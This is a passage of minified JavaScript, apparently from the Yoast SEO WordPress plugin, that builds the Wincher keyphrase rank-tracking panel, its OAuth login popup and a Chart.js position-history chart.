`,Pt=e=>{const t=(0,r.useRef)();return(0,r.useEffect)((()=>{t.current=e})),t.current},qt=(0,i.debounce)((async function(e=null,t=null,s=null,r){return await Ve({path:"yoast/v1/wincher/keyphrases",method:"POST",data:{keyphrases:e,permalink:s,startAt:t},signal:r})}),500,{leading:!0}),At=t=>{const{addTrackedKeyphrase:s,isLoggedIn:n,keyphrases:o,permalink:a,removeTrackedKeyphrase:l,setKeyphraseLimitReached:c,setRequestFailed:d,setRequestSucceeded:u,setTrackedKeyphrases:p,setHasTrackedAll:m,trackAll:h,trackedKeyphrases:y,isNewlyAuthenticated:f,websiteId:w,focusKeyphrase:b,newRequest:E,startAt:v,selectedKeyphrases:k,onSelectKeyphrases:_}=t,x=(0,r.useRef)(),T=(0,r.useRef)(),R=(0,r.useRef)(!1),[S,I]=(0,r.useState)([]),C=(0,r.useCallback)((e=>{const t=e.toLowerCase();return y&&!(0,i.isEmpty)(y)&&y.hasOwnProperty(t)?y[t]:null}),[y]),L=(0,r.useMemo)((()=>async()=>{await ze((()=>(T.current&&T.current.abort(),T.current="undefined"==typeof AbortController?null:new AbortController,qt(o,v,a,T.current.signal))),(e=>{u(e),p(e.results)}),(e=>{d(e)}))}),[u,d,p,o,a,v]),P=(0,r.useCallback)((async e=>{const t=(Array.isArray(e)?e:[e]).map((e=>e.toLowerCase()));I((e=>[...e,...t])),await ze((()=>Ge(t)),(e=>{u(e),s(e.results),L()}),(e=>{400===e.status&&e.limit&&c(e.limit),d(e)}),201),I((e=>(0,i.without)(e,...t)))}),[u,d,c,s,L]),q=(0,r.useCallback)((async(e,t)=>{e=e.toLowerCase(),I((t=>[...t,e])),await ze((()=>async function(e){return await Ve({path:"yoast/v1/wincher/keyphrases/untrack",method:"DELETE",data:{keyphraseID:e}})}(t)),(t=>{u(t),l(e)}),(e=>{d(e)})),I((t=>(0,i.without)(t,e)))}),[u,l,d]),A=(0,r.useCallback)((async e=>{E(),await P(e)}),[E,P]),F=Pt(a),N=Pt(o),M=Pt(v),O=a&&v;(0,r.useEffect)((()=>{n&&O&&(a!==F||(0,i.difference)(o,N).length||v!==M)&&L()}),[n,a,F,o,N,L,O,v,M]),(0,r.useEffect)((()=>{if(n&&h&&null!==y){const e=o.filter((e=>!C(e)));e.length&&P(e),m()}}),[n,h,y,P,m,C,o]),(0,r.useEffect)((()=>{f&&!R.current&&(L(),R.current=!0)}),[f,L]),(0,r.useEffect)((()=>{if(n&&!(0,i.isEmpty)(y))return(0,i.filter)(y,(e=>(0,i.isEmpty)(e.updated_at))).length>0&&(x.current=setInterval((()=>{L()}),1e4)),()=>{clearInterval(x.current)}}),[n,y,L]);const D=n&&null===y,$=(0,r.useMemo)((()=>(0,i.isEmpty)(y)?[]:Object.values(y).filter((e=>{var t;return!(0,i.isEmpty)(null==e||null===(t=e.position)||void 0===t?void 0:t.history)})).map((e=>e.keyword))),[y]),B=(0,r.useMemo)((()=>k.length>0&&$.length>0&&$.every((e=>k.includes(e)))),[k,$]),U=(0,r.useCallback)((()=>{_(B?[]:$)}),[_,B,$]),W=(0,r.useMemo)((()=>(0,i.orderBy)(o,[e=>Object.values(y||{}).map((e=>e.keyword)).includes(e)],["desc"])),[o,y]);return o&&!(0,i.isEmpty)(o)&&(0,e.createElement)(r.Fragment,null,(0,e.createElement)(It,null,(0,e.createElement)("table",{className:"yoast yoast-table"},(0,e.createElement)("thead",null,(0,e.createElement)("tr",null,(0,e.createElement)(Ct,{isDisabled:0===$.length},(0,e.createElement)(ue.Checkbox,{id:"select-all",onChange:U,checked:B,label:""})),(0,e.createElement)(Lt,{scope:"col",abbr:(0,g.__)("Keyphrase","wordpress-seo")},(0,g.__)("Keyphrase","wordpress-seo")),(0,e.createElement)("th",{scope:"col",abbr:(0,g.__)("Position","wordpress-seo")},(0,g.__)("Position","wordpress-seo")),(0,e.createElement)("th",{scope:"col",abbr:(0,g.__)("Position over time","wordpress-seo")},(0,g.__)("Position over time","wordpress-seo")),(0,e.createElement)("th",{scope:"col",abbr:(0,g.__)("Last updated","wordpress-seo")},(0,g.__)("Last updated","wordpress-seo")),(0,e.createElement)("th",{scope:"col",abbr:(0,g.__)("Tracking","wordpress-seo")},(0,g.__)("Tracking","wordpress-seo")))),(0,e.createElement)("tbody",null,W.map(((t,s)=>(0,e.createElement)(Tt,{key:`trackable-keyphrase-${s}`,keyphrase:t,onTrackKeyphrase:A,onUntrackKeyphrase:q,rowData:C(t),isFocusKeyphrase:t===b.trim().toLowerCase(),websiteId:w,isDisabled:!n,isLoading:D||S.indexOf(t.toLowerCase())>=0,isSelected:k.includes(t),onSelectKeyphrases:_})))))),(0,e.createElement)("p",{style:{marginBottom:0,position:"relative"}},(0,e.createElement)(Rt,{href:wpseoAdminGlobalL10n["links.wincher.login"]},(0,g.sprintf)(/* translators: %s expands to Wincher */
(0,g.__)("Get more insights over at %s","wordpress-seo"),"Wincher")),(0,e.createElement)(St,null,(0,g.__)("* focus keyphrase","wordpress-seo"))))};At.propTypes={addTrackedKeyphrase:a().func.isRequired,isLoggedIn:a().bool,isNewlyAuthenticated:a().bool,keyphrases:a().array,newRequest:a().func.isRequired,removeTrackedKeyphrase:a().func.isRequired,setRequestFailed:a().func.isRequired,setKeyphraseLimitReached:a().func.isRequired,setRequestSucceeded:a().func.isRequired,setTrackedKeyphrases:a().func.isRequired,setHasTrackedAll:a().func.isRequired,trackAll:a().bool,trackedKeyphrases:a().object,websiteId:a().string,permalink:a().string.isRequired,focusKeyphrase:a().string,startAt:a().string,selectedKeyphrases:a().arrayOf(a().string).isRequired,onSelectKeyphrases:a().func.isRequired},At.defaultProps={isLoggedIn:!1,isNewlyAuthenticated:!1,keyphrases:[],trackAll:!1,websiteId:"",focusKeyphrase:""};const Ft=At,Nt=(0,Ee.compose)([(0,h.withSelect)((e=>{const{getWincherWebsiteId:t,getWincherTrackableKeyphrases:s,getWincherLoginStatus:r,getWincherPermalink:n,getFocusKeyphrase:o,isWincherNewlyAuthenticated:a,shouldWincherTrackAll:i}=e("yoast-seo/editor");return{focusKeyphrase:o(),keyphrases:s(),isLoggedIn:r(),trackAll:i(),websiteId:t(),isNewlyAuthenticated:a(),permalink:n()}})),(0,h.withDispatch)((e=>{const{setWincherNewRequest:t,setWincherRequestSucceeded:s,setWincherRequestFailed:r,setWincherSetKeyphraseLimitReached:n,setWincherTrackedKeyphrases:o,setWincherTrackingForKeyphrase:a,setWincherTrackAllKeyphrases:i,unsetWincherTrackingForKeyphrase:l}=e("yoast-seo/editor");return{newRequest:()=>{t()},setRequestSucceeded:e=>{s(e)},setRequestFailed:e=>{r(e)},setKeyphraseLimitReached:e=>{n(e)},addTrackedKeyphrase:e=>{a(e)},removeTrackedKeyphrase:e=>{l(e)},setTrackedKeyphrases:e=>{o(e)},setHasTrackedAll:()=>{i(!1)}}}))])(Ft),Mt=(0,Re.makeOutboundLink)(),Ot=(0,Re.makeOutboundLink)(),Dt=()=>{const t=(0,g.sprintf)((0,g.__)(/* translators: %1$s expands to a link to Wincher, %2$s expands to a link to the keyphrase tracking article on Yoast.com */
"With %1$s you can track the ranking position of your page in the search results based on your keyphrase(s). %2$s","wordpress-seo"),"{{wincherLink/}}","{{wincherReadMoreLink/}}");return(0,e.createElement)("p",null,(0,Be.Z)({mixedString:t,components:{wincherLink:(0,e.createElement)(Mt,{href:wpseoAdminGlobalL10n["links.wincher.website"]},"Wincher"),wincherReadMoreLink:(0,e.createElement)(Ot,{href:wpseoAdminL10n["shortlinks.wincher.seo_performance"]},(0,g.__)("Read more about keyphrase tracking with Wincher","wordpress-seo"))}}))},$t=()=>(0,e.createElement)(ue.Alert,{type:"error"},(0,g.__)("No keyphrase has been set. Please set a keyphrase first.","wordpress-seo")),Bt=()=>(0,e.createElement)(ue.Alert,{type:"info"},(0,g.sprintf)(/* translators: %s: Expands to "Wincher". */
(0,g.__)("Automatic tracking of keyphrases is enabled. Your keyphrase(s) will automatically be tracked by %s when you publish your post.","wordpress-seo"),"Wincher"));class Ut{constructor(e,t={},s={}){this.url=e,this.origin=new URL(e).origin,this.eventHandlers=Object.assign({success:{type:"",callback:()=>{}},error:{type:"",callback:()=>{}}},t),this.options=Object.assign({height:570,width:340,title:""},s),this.popup=null,this.createPopup=this.createPopup.bind(this),this.messageHandler=this.messageHandler.bind(this),this.getPopup=this.getPopup.bind(this)}createPopup(){const{height:e,width:t,title:s}=this.options,r=["top="+(window.top.outerHeight/2+window.top.screenY-e/2),"left="+(window.top.outerWidth/2+window.top.screenX-t/2),"width="+t,"height="+e,"resizable=1","scrollbars=1","status=0"];this.popup&&!this.popup.closed||(this.popup=window.open(this.url,s,r.join(","))),this.popup&&this.popup.focus(),window.addEventListener("message",this.messageHandler,!1)}async messageHandler(e){const{data:t,source:s,origin:r}=e;r===this.origin&&this.popup===s&&(t.type===this.eventHandlers.success.type&&(this.popup.close(),window.removeEventListener("message",this.messageHandler,!1),await this.eventHandlers.success.callback(t)),t.type===this.eventHandlers.error.type&&(this.popup.close(),window.removeEventListener("message",this.messageHandler,!1),await this.eventHandlers.error.callback(t)))}getPopup(){return this.popup}isClosed(){return!this.popup||this.popup.closed}focus(){this.isClosed()||this.popup.focus()}}const Wt=t=>{const s=(0,g.sprintf)(/* translators: %s expands to a link to open the Wincher login popup. */
(0,g.__)("It seems like something went wrong when retrieving your website's data. Please %s and try again.","wordpress-seo"),"{{reconnectToWincher/}}","Wincher");return(0,e.createElement)(ue.Alert,{type:"error",className:t.className},(0,Be.Z)({mixedString:s,components:{reconnectToWincher:(0,e.createElement)("a",{href:"#",onClick:e=>{e.preventDefault(),t.onReconnect()}},(0,g.sprintf)(/* translators: %s : Expands to "Wincher". */
(0,g.__)("reconnect to %s","wordpress-seo"),"Wincher"))}}))};Wt.propTypes={onReconnect:a().func.isRequired,className:a().string},Wt.defaultProps={className:""};const jt=Wt,Kt=()=>(0,e.createElement)(ue.Alert,{type:"error"},(0,g.__)("Before you can track your SEO performance make sure to set either the post’s title and save it as a draft or manually set the post’s slug.","wordpress-seo")),Ht=window.yoast["chart.js"],Yt="label";function zt(e,t){"function"==typeof e?e(t):e&&(e.current=t)}function Vt(e,t){e.labels=t}function Gt(e,t){let s=arguments.length>2&&void 0!==arguments[2]?arguments[2]:Yt;const r=[];e.datasets=t.map((t=>{const n=e.datasets.find((e=>e[s]===t[s]));return n&&t.data&&!r.includes(n)?(r.push(n),Object.assign(n,t),n):{...t}}))}function Zt(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:Yt;const s={labels:[],datasets:[]};return Vt(s,e.labels),Gt(s,e.datasets,t),s}function Xt(t,s){const{height:r=150,width:n=300,redraw:o=!1,datasetIdKey:a,type:i,data:l,options:c,plugins:d=[],fallbackContent:u,updateMode:p,...m}=t,h=(0,e.useRef)(null),g=(0,e.useRef)(),y=()=>{h.current&&(g.current=new Ht.Chart(h.current,{type:i,data:Zt(l,a),options:c&&{...c},plugins:d}),zt(s,g.current))},f=()=>{zt(s,null),g.current&&(g.current.destroy(),g.current=null)};return(0,e.useEffect)((()=>{!o&&g.current&&c&&function(e,t){const s=e.options;s&&t&&Object.assign(s,t)}(g.current,c)}),[o,c]),(0,e.useEffect)((()=>{!o&&g.current&&Vt(g.current.config.data,l.labels)}),[o,l.labels]),(0,e.useEffect)((()=>{!o&&g.current&&l.datasets&&Gt(g.current.config.data,l.datasets,a)}),[o,l.datasets]),(0,e.useEffect)((()=>{g.current&&(o?(f(),setTimeout(y)):g.current.update(p))}),[o,c,l.labels,l.datasets,p]),(0,e.useEffect)((()=>{g.current&&(f(),setTimeout(y))}),[i]),(0,e.useEffect)((()=>(y(),()=>f())),[]),e.createElement("canvas",Object.assign({ref:h,role:"img",height:r,width:n},m),u)}const Qt=(0,e.forwardRef)(Xt);function Jt(t,s){return Ht.Chart.register(s),(0,e.forwardRef)(((s,r)=>e.createElement(Qt,Object.assign({},s,{ref:r,type:t}))))}const es=Jt("line",Ht.LineController),ts={datetime:"MMM D, YYYY, h:mm:ss a",millisecond:"h:mm:ss.SSS a",second:"h:mm:ss a",minute:"h:mm a",hour:"hA",day:"MMM D",week:"ll",month:"MMM YYYY",quarter:"[Q]Q - YYYY",year:"YYYY"};Ht._adapters._date.override("function"==typeof $e()?{_id:"moment",formats:function(){return ts},parse:function(e,t){return"string"==typeof e&&"string"==typeof t?e=$e()(e,t):e instanceof $e()||(e=$e()(e)),e.isValid()?e.valueOf():null},format:function(e,t){return $e()(e).format(t)},add:function(e,t,s){return $e()(e).add(t,s).valueOf()},diff:function(e,t,s){return $e()(e).diff($e()(t),s)},startOf:function(e,t,s){return e=$e()(e),"isoWeek"===t?(s=Math.trunc(Math.min(Math.max(0,s),6)),e.isoWeekday(s).startOf("day").valueOf()):e.startOf(t).valueOf()},endOf:function(e,t){return $e()(e).endOf(t).valueOf()}}:{}),Math.PI,Number.POSITIVE_INFINITY,Math.log10,Math.sign,"undefined"==typeof window||window.requestAnimationFrame,new Map,Object.create(null),Object.create(null),Number.EPSILON;const ss=["top","right","bottom","left"];function rs(e,t,s){const r={};s=s?"-"+s:"";for(let n=0;n<4;n++){const o=ss[n];r[o]=parseFloat(e[t+"-"+o+s])||0}return r.width=r.left+r.right,r.height=r.top+r.bottom,r}!function(){let e=!1;try{const t={get passive(){return e=!0,!1}};window.addEventListener("test",null,t),window.removeEventListener("test",null,t)}catch(e){}}(),Ht.Chart.register(Ht.CategoryScale,Ht.LineController,Ht.LineElement,Ht.PointElement,Ht.LinearScale,Ht.TimeScale,Ht.Legend,Ht.Tooltip);const ns=["#ff983b","#ffa3f7","#3798ff","#ff3b3b","#acce81","#b51751","#3949ab","#26c6da","#ccb800","#de66ff","#4db6ac","#ffab91","#45f5f1","#77f210","#90a4ae","#ffd54f","#006b5e","#8ec7d2","#b1887c","#cc9300"];function os({datasets:t,isChartShown:s,keyphrases:n}){if(!s)return null;const o=(0,r.useMemo)((()=>Object.fromEntries([...n].sort().map(((e,t)=>[e,ns[t%ns.length]])))),[n]),a=t.map((e=>{const t=o[e.label];return{...e,data:e.data.map((({datetime:e,value:t})=>({x:e,y:t}))),lineTension:0,pointRadius:1,pointHoverRadius:4,borderWidth:2,pointHitRadius:6,backgroundColor:t,borderColor:t}})).filter((e=>!1!==e.selected));return(0,e.createElement)(es,{height:100,data:{datasets:a},options:{plugins:{legend:{display:!0,position:"bottom",labels:{color:"black",usePointStyle:!0,boxHeight:7,boxWidth:7},onClick:i.noop},tooltip:{enabled:!0,callbacks:{title:e=>$e()(e[0].raw.x).utc().format("YYYY-MM-DD")},titleAlign:"center",mode:"xPoint",position:"nearest",usePointStyle:!0,boxHeight:7,boxWidth:7,boxPadding:2}},scales:{x:{bounds:"ticks",type:"time",time:{unit:"day",minUnit:"day"},grid:{display:!1},ticks:{autoSkipPadding:50,maxRotation:0,color:"black"}},y:{bounds:"ticks",offset:!0,reverse:!0,ticks:{precision:0,color:"black"},max:101}}}})}Ht.Interaction.modes.xPoint=(e,t,s,r)=>{const n=function(e,t){if("native"in e)return e;const{canvas:s,currentDevicePixelRatio:r}=t,n=(m=s).ownerDocument.defaultView.getComputedStyle(m,null),o="border-box"===n.boxSizing,a=rs(n,"padding"),i=rs(n,"border","width"),{x:l,y:c,box:d}=function(e,t){const s=e.touches,r=s&&s.length?s[0]:e,{offsetX:n,offsetY:o}=r;let a,i,l=!1;if(((e,t,s)=>(e>0||t>0)&&(!s||!s.shadowRoot))(n,o,e.target))a=n,i=o;else{const e=t.getBoundingClientRect();a=r.clientX-e.left,i=r.clientY-e.top,l=!0}return{x:a,y:i,box:l}}(e,s),u=a.left+(d&&i.left),p=a.top+(d&&i.top);var m;let{width:h,height:g}=t;return o&&(h-=a.width+i.width,g-=a.height+i.height),{x:Math.round((l-u)/h*s.width/r),y:Math.round((c-p)/g*s.height/r)}}(t,e);let o=[];if(Ht.Interaction.evaluateInteractionItems(e,"x",n,((e,t,s)=>{e.inXRange(n.x,r)&&o.push({element:e,datasetIndex:t,index:s})})),0===o.length)return o;const a=o.reduce(((e,t)=>Math.abs(n.x-e.element.x)<Math.abs(n.x-t.element.x)?e:t)).element.x;return o=o.filter((e=>e.element.x===a)),o.some((e=>Math.abs(e.element.y-n.y)<10))?o:[]},os.propTypes={datasets:a().arrayOf(a().shape({label:a().string.isRequired,data:a().arrayOf(a().shape({datetime:a().string.isRequired,value:a().number.isRequired})).isRequired,selected:a().bool})).isRequired,isChartShown:a().bool.isRequired,keyphrases:a().array.isRequired};const as=({response:t,onLogin:s})=>[401,403,404].includes(t.status)?(0,e.createElement)(jt,{onReconnect:s}):(0,e.createElement)(Ke,null);as.propTypes={response:a().object.isRequired,onLogin:a().func.isRequired};const is=({isSuccess:t,response:s,allKeyphrasesMissRanking:r,onLogin:n,keyphraseLimitReached:o,limit:a})=>o?(0,e.createElement)(je,{limit:a}):(0,i.isEmpty)(s)||t?r?(0,e.createElement)(lt,null):null:(0,e.createElement)(as,{response:s,onLogin:n});is.propTypes={isSuccess:a().bool.isRequired,allKeyphrasesMissRanking:a().bool.isRequired,response:a().object,onLogin:a().func.isRequired,keyphraseLimitReached:a().bool.isRequired,limit:a().number.isRequired},is.defaultProps={response:{}};let ls=null;const cs=async e=>{if(ls&&!ls.isClosed())return void ls.focus();const{url:t}=await async function(){return await Ve({path:"yoast/v1/wincher/authorization-url",method:"GET"})}();ls=new Ut(t,{success:{type:"wincher:oauth:success",callback:t=>(async(e,t)=>{const{onAuthentication:s,setRequestSucceeded:r,setRequestFailed:n,keyphrases:o,addTrackedKeyphrase:a,setKeyphraseLimitReached:i}=e;await ze((()=>async function(e){const{code:t,websiteId:s}=e;return await Ve({path:"yoast/v1/wincher/authenticate",method:"POST",data:{code:t,websiteId:s}})}(t)),(async e=>{s(!0,!0,t.websiteId.toString()),r(e);const l=(Array.isArray(o)?o:[o]).map((e=>e.toLowerCase()));await ze((()=>Ge(l)),(e=>{r(e),a(e.results)}),(e=>{400===e.status&&e.limit&&i(e.limit),n(e)}),201);const c=ls.getPopup();c&&c.close()}),(async e=>n(e)))})(e,t)},error:{type:"wincher:oauth:error",callback:()=>e.onAuthentication(!1,!1)}},{title:"Wincher_login",width:500,height:700}),ls.createPopup()},ds=t=>t.isLoggedIn?null:(0,e.createElement)("p",null,(0,e.createElement)(ue.NewButton,{onClick:t.onLogin,variant:"primary"},(0,g.sprintf)(/* translators: %s expands to Wincher */
(0,g.__)("Connect with %s","wordpress-seo"),"Wincher")));ds.propTypes={isLoggedIn:a().bool.isRequired,onLogin:a().func.isRequired};const us=c().div`
	p {
		margin: 1em 0;
	}
`,ps=c().div`
	${e=>e.isDisabled&&"\n\t\topacity: .5;\n\t\tpointer-events: none;\n\t"};
`,ms=c().div`
	font-weight: var(--yoast-font-weight-bold);
	color: var(--yoast-color-label);
	font-size: var(--yoast-font-size-default);
`,hs=c().div.attrs({className:"yoast-field-group"})`
	display: flex;
	justify-content: space-between;
	align-items: center;
	margin-bottom: 14px;
`,gs=c().div`
	margin: 8px 0;
`,ys=$e().utc().startOf("day"),fs=[{name:(0,g.__)("Last day","wordpress-seo"),value:$e()(ys).subtract(1,"days").format(),defaultIndex:1},{name:(0,g.__)("Last week","wordpress-seo"),value:$e()(ys).subtract(1,"week").format(),defaultIndex:2},{name:(0,g.__)("Last month","wordpress-seo"),value:$e()(ys).subtract(1,"month").format(),defaultIndex:3},{name:(0,g.__)("Last year","wordpress-seo"),value:$e()(ys).subtract(1,"year").format(),defaultIndex:0}],ws=t=>{const{onSelect:s,selected:r,options:n,isLoggedIn:o}=t;return o?n.length<1?null:(0,e.createElement)("select",{className:"components-select-control__input",id:"wincher-period-picker",value:(null==r?void 0:r.value)||n[0].value,onChange:s},n.map((t=>(0,e.createElement)("option",{key:t.name,value:t.value},t.name)))):null};ws.propTypes={onSelect:a().func.isRequired,selected:a().object,options:a().array.isRequired,isLoggedIn:a().bool.isRequired};const bs=t=>{const{trackedKeyphrases:s,isLoggedIn:n,keyphrases:o,shouldTrackAll:a,permalink:l,historyDaysLimit:c}=t;if(!l&&n)return(0,e.createElement)(Kt,null);if(0===o.length)return(0,e.createElement)($t,null);const d=$e()(ys).subtract(c,"days"),u=fs.filter((e=>$e()(e.value).isSameOrAfter(d))),p=(0,i.orderBy)(u,(e=>e.defaultIndex),"desc")[0],[m,h]=(0,r.useState)(p),[y,f]=(0,r.useState)([]),w=y.length>0,b=(0,Ee.usePrevious)(s);(0,r.useEffect)((()=>{if(!(0,i.isEmpty)(s)&&(0,i.difference)(Object.keys(s),Object.keys(b||[])).length){const e=Object.values(s).map((e=>e.keyword));f(e)}}),[s,b]),(0,r.useEffect)((()=>{h(p)}),[null==p?void 0:p.name]);const E=(0,r.useCallback)((e=>{const t=fs.find((t=>t.value===e.target.value));t&&h(t)}),[h]),v=(0,r.useMemo)((()=>(0,i.isEmpty)(y)||(0,i.isEmpty)(s)?[]:Object.values(s).filter((e=>{var t;return!(null==e||null===(t=e.position)||void 0===t||!t.history)})).map((e=>{var t;return{label:e.keyword,data:e.position.history,selected:y.includes(e.keyword)&&!(0,i.isEmpty)(null===(t=e.position)||void 0===t?void 0:t.history)}}))),[y,s]);return(0,e.createElement)(ps,{isDisabled:!n},(0,e.createElement)("p",null,(0,g.__)("You can enable / disable tracking the SEO performance for each keyphrase below.","wordpress-seo")),n&&a&&(0,e.createElement)(Bt,null),(0,e.createElement)(hs,null,(0,e.createElement)(ws,{selected:m,onSelect:E,options:u,isLoggedIn:n})),(0,e.createElement)(gs,null,(0,e.createElement)(os,{isChartShown:w,datasets:v,keyphrases:o})),(0,e.createElement)(Nt,{startAt:null==m?void 0:m.value,selectedKeyphrases:y,onSelectKeyphrases:f,trackedKeyphrases:s}))};function Es(t){const{isNewlyAuthenticated:s,isLoggedIn:n}=t,o=(0,r.useCallback)((()=>{cs(t)}),[cs,t]),a=tt(n);return(0,e.createElement)(us,null,s&&(0,e.createElement)(it,null),n&&(0,e.createElement)(at,{trackingInfo:a}),(0,e.createElement)(ms,null,(0,g.__)("SEO performance","wordpress-seo"),(0,e.createElement)(ue.HelpIcon,{linkTo:wpseoAdminL10n["shortlinks.wincher.seo_performance"]
/* translators: Hidden accessibility text. */,linkText:(0,g.__)("Learn more about the SEO performance feature.","wordpress-seo")})),(0,e.createElement)(Dt,null),(0,e.createElement)(ds,{isLoggedIn:n,onLogin:o}),(0,e.createElement)(is,{...t,onLogin:o}),(0,e.createElement)(bs,{...t,historyDaysLimit:(null==a?void 0:a.historyDays)||31}))}bs.propTypes={trackedKeyphrases:a().object,keyphrases:a().array.isRequired,isLoggedIn:a().bool.isRequired,shouldTrackAll:a().bool.isRequired,permalink:a().string.isRequired,historyDaysLimit:a().number},Es.propTypes={trackedKeyphrases:a().object,addTrackedKeyphrase:a().func.isRequired,isLoggedIn:a().bool,isNewlyAuthenticated:a().bool,keyphrases:a().array,response:a().object,shouldTrackAll:a().bool,permalink:a().string,historyDaysLimit:a().number},Es.defaultProps={trackedKeyphrases:null,isLoggedIn:!1,isNewlyAuthenticated:!1,keyphrases:[],response:{},shouldTrackAll:!1,permalink:"",historyDaysLimit:0};const vs=(0,Ee.compose)([(0,h.withSelect)((e=>{const{isWincherNewlyAuthenticated:t,getWincherKeyphraseLimitReached:s,getWincherLimit:r,getWincherHistoryDaysLimit:n,getWincherLoginStatus:o,getWincherRequestIsSuccess:a,getWincherRequestResponse:i,getWincherTrackableKeyphrases:l,getWincherTrackedKeyphrases:c,getWincherAllKeyphrasesMissRanking:d,getWincherPermalink:u,shouldWincherAutomaticallyTrackAll:p}=e("yoast-seo/editor");return{keyphrases:l(),trackedKeyphrases:c(),allKeyphrasesMissRanking:d(),isLoggedIn:o(),isNewlyAuthenticated:t(),isSuccess:a(),keyphraseLimitReached:s(),limit:r(),response:i(),shouldTrackAll:p(),permalink:u(),historyDaysLimit:n()}})),(0,h.withDispatch)((e=>{const{setWincherWebsiteId:t,setWincherRequestSucceeded:s,setWincherRequestFailed:r,setWincherTrackingForKeyphrase:n,setWincherSetKeyphraseLimitReached:o,setWincherLoginStatus:a}=e("yoast-seo/editor");return{setRequestSucceeded:e=>{s(e)},setRequestFailed:e=>{r(e)},addTrackedKeyphrase:e=>{n(e)},setKeyphraseLimitReached:e=>{o(e)},onAuthentication:(e,s,r)=>{t(r),a(e,s)}}}))])(Es),ks=c()(ve)`
	width: 18px;
	height: 18px;
	margin: 3px;
`;function _s(e){const{keyphrases:t,onNoKeyphraseSet:s,onOpen:r,location:n}=e;if(!t.length){let e=document.querySelector("#focus-keyword-input-metabox");return e||(e=document.querySelector("#focus-keyword-input-sidebar")),e.focus(),void s()}r(n)}function xs(t){const{location:s,whichModalOpen:n,shouldCloseOnClickOutside:o}=t,a=(0,r.useCallback)((()=>{_s(t)}),[_s,t]),i=(0,g.__)("Track SEO performance","wordpress-seo"),l=((t=null)=>(0,e.useMemo)((()=>{const e={role:"img","aria-hidden":"true"};return null!==t&&(e.focusable=t?"true":"false"),e}),[t]))();return(0,e.createElement)(r.Fragment,null,n===s&&(0,e.createElement)(Pe,{title:i,onRequestClose:t.onClose,icon:(0,e.createElement)(Ne,null),additionalClassName:"yoast-wincher-seo-performance-modal yoast-gutenberg-modal__no-padding",shouldCloseOnClickOutside:o},(0,e.createElement)(Se,{className:"yoast-gutenberg-modal__content yoast-wincher-seo-performance-modal__content"},(0,e.createElement)(vs,null))),"sidebar"===s&&(0,e.createElement)(Oe,{id:`wincher-open-button-${s}`,title:i,SuffixHeroIcon:(0,e.createElement)(ks,{className:"yst-text-slate-500",...l}),onClick:a}),"metabox"===s&&(0,e.createElement)("div",{className:"yst-root"},(0,e.createElement)(Te,{id:`wincher-open-button-${s}`,onClick:a},(0,e.createElement)(Te.Text,null,i),(0,e.createElement)(ve,{className:"yst-h-5 yst-w-5 yst-text-slate-500",...l}))))}xs.propTypes={location:a().string,whichModalOpen:a().oneOf(["none","metabox","sidebar","postpublish"]),shouldCloseOnClickOutside:a().bool,keyphrases:a().array.isRequired,onNoKeyphraseSet:a().func.isRequired,onOpen:a().func.isRequired,onClose:a().func.isRequired},xs.defaultProps={location:"",whichModalOpen:"none",shouldCloseOnClickOutside:!0};const Ts=(0,Ee.compose)([(0,h.withSelect)((e=>{const{getWincherModalOpen:t,getWincherTrackableKeyphrases:s}=e("yoast-seo/editor");return{keyphrases:s(),whichModalOpen:t()}})),(0,h.withDispatch)((e=>{const{setWincherOpenModal:t,setWincherDismissModal:s,setWincherNoKeyphrase:r}=e("yoast-seo/editor");return{onOpen:e=>{t(e)},onClose:()=>{s()},onNoKeyphraseSet:()=>{r()}}}))])(xs),Rs=window.yoast.externals.components;function Ss(){return(0,Ee.createHigherOrderComponent)((function(e){return(0,Ee.pure)((function(t){const s=(0,r.useContext)(d.LocationContext);return(0,r.createElement)(e,{...t,location:s})}))}),"withLocation")}const Is=(0,Ee.compose)([(0,h.withSelect)((e=>{const{isCornerstoneContent:t}=e("yoast-seo/editor");return{isCornerstone:t(),learnMoreUrl:wpseoAdminL10n["shortlinks.cornerstone_content_info"]}})),(0,h.withDispatch)((e=>{const{toggleCornerstoneContent:t}=e("yoast-seo/editor");return{onChange:t}})),Ss()])(Rs.CollapsibleCornerstone),Cs=window.yoast.searchMetadataPreviews,Ls=c()(ue.StyledSection)`
	&${ue.StyledSectionBase} {
		padding: 0;

		& ${ue.StyledHeading} {
			${(0,Re.getDirectionalStyle)("padding-left","padding-right")}: 20px;
			margin-left: ${(0,Re.getDirectionalStyle)("0","20px")};
		}
	}
`,Ps=({children:t,title:s,icon:r,hasPaperStyle:n,shoppingData:o})=>(0,e.createElement)(Ls,{headingLevel:3,headingText:s,headingIcon:r,headingIconColor:"#555",hasPaperStyle:n,shoppingData:o},t);Ps.propTypes={children:a().element,title:a().string,icon:a().string,hasPaperStyle:a().bool,shoppingData:a().object},Ps.defaultProps={hasPaperStyle:!0,shoppingData:null};const qs=Ps,As=window.wp.sanitize,Fs="SNIPPET_EDITOR_UPDATE_REPLACEMENT_VARIABLE";function Ns(e,t,s="",r=!1){const n="string"==typeof t?(0,Re.decodeHTML)(t):t;return{type:Fs,name:e,value:n,label:s,hidden:r}}function Ms(e){return e.charAt(0).toUpperCase()+e.slice(1)}const{stripHTMLTags:Os}=Re.strings,Ds=["slug","content","contentImage","snippetPreviewImageURL"];function $s(e,t="_"){return e.replace(/\s/g,t)}const Bs=(0,i.memoize)(((e,t)=>0===e?i.noop:(0,i.debounce)((s=>t(s,e)),500))),Us=({link:t,text:s})=>(0,e.createElement)(m.Root,null,(0,e.createElement)("p",null,s),(0,e.createElement)(m.Button,{href:t,as:"a",className:"yst-gap-2 yst-mb-5 yst-mt-2",variant:"upsell",target:"_blank",rel:"noopener"},(0,e.createElement)(y,{className:"yst-w-4 yst-h-4 yst--ml-1 yst-shrink-0"}),(0,g.sprintf)(/* translators: %1$s expands to Yoast WooCommerce SEO. */
